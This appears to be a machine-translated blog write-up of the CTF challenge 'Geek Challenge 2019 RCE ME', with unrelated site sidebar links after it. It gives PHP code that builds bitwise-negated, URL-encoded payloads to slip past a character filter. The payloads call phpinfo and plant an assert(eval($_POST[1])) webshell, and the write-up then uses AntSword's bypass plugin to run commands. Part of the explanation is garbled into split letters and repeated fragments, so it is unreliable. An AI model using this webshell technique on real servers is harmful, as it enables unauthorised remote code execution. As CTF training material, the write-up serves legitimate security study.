当前位置:网站首页>[geek challenge 2019] rce me 1
[geek challenge 2019] rce me 1
2022-06-26 12:58:00 【"Iron body cell"】
[ Geek challenge 2019]RCE ME 1
First open the topic and get :

Discovery is code auditing
Incoming code Not greater than 40
And it can't contain a To z Upper and lower case characters and 1 To 10 The number of
We can bypass by characters that are not in this character set
You can use XOR and negation
Here I use negation , Bypass
perform phpinfo();
playload:
<?php
$c='phpinfo';
$d=urlencode(~$c);
echo $d;
?>

perform :

It is found that some row numbers are controlled :

Write a sentence :
<?php
error_reporting(0);
$a='assert';
$b=urlencode(~$a);
echo '(~'.$b.')';
$c='(eval($_POST[1]))';
$d=urlencode(~$c);
echo '(~'.$d.')';
?>
ad locum , We can't use... Directly eval because eval Not at all php function So we can't call through the method of variable function .
ad locum , We use assert To construct the , But because of php Version of the problem , We can't directly construct <?php assert( P O S T [ ′ a ′ ] ) ; > , I People Need to be want transfer use e v a l Spell it Pick up by a s s e r t ( e v a l ( _POST['a']);>, We need to call eval Spliced as assert(eval( POST[′a′]);>, I People Need to be want transfer use eval Spell it Pick up by assert(eval(_POST[test]))

Connect... With an ant sword 
But the command cannot be executed , and cat flag

Use the plug-in of ant sword bypass:


Click start to enter :

utilize readflag obtain flag:

Reference blog :
边栏推荐
- [esp32-C3][RT-THREAD] 基于ESP32C3运行RT-THREAD bsp最小系统
- Fengshentai old shooting range Kali series
- JS how to judge when data contains integer and floating-point types. Floating-point decimals retain two digits after the decimal point
- Goto statement to realize shutdown applet
- Sharing ideas for a quick switch to an underlying implementation
- Encapsulate request request of uni app
- 【网络是怎么连接的】第二章(中):一个网络包的发出
- Software testing - Fundamentals
- Adobe Acrobat prevents 30 security software from viewing PDF files or there are security risks
- NLP-D60-nlp比赛D29
猜你喜欢

PHP laravel+gatewayworker completes im instant messaging and file transfer (Chapter 1: basic configuration)

小程序中控件里面的内容较多,让其支持滚动的良好方案
![[BSidesCF 2019]Kookie 1](/img/22/585d081668e67b8389a1b90aaebe9d.png)
[BSidesCF 2019]Kookie 1

PHP uses laravel pay component to quickly access wechat jsapi payment (wechat official account payment)
RSS rendering of solo blog system failed

processing 函数translate(mouseX, mouseY)学习

Fengshentai old shooting range Kali series

opencv高速下载

详细讲解C语言11(C语言系列)
![[solved] laravel completes the scheduled job task (delayed distribution task) [execute a user-defined task at a specified time]](/img/13/c2c63333a9e5ac08b339449ea17654.jpg)
[solved] laravel completes the scheduled job task (delayed distribution task) [execute a user-defined task at a specified time]
随机推荐
Installing MySQL under Linux (RPM package installation)
7-1 n皇后问题
美学心得(第二百三十八集) 罗国正
自动化测试的局限性你知道吗?
PHP unit conversion
面试题积累
洛谷P3426 [POI2005]SZA-Template 题解
KVM 显卡透传 —— 筑梦之路
SQL injection
TP5 thinkphp5 report serialization of'closure'is not allowed
关于NaN的一些总结
RSS rendering of solo blog system failed
PHP calculates excel coordinate values, starting with subscript 0
Vivado 错误代码 [DRC PDCN-2721] 解决
power designer - 自定义注释按钮
MySQL 自定义函数时:This function has none of DETERMINISTIC, NO SQL 解决方案
国标GB28181协议EasyGBS视频平台TCP主动模式拉流异常情况修复
软件测试报告应该包含的内容?面试必问
【shell】生成指定日期之间的字符串
find及du -sh显示权限不够的解决方法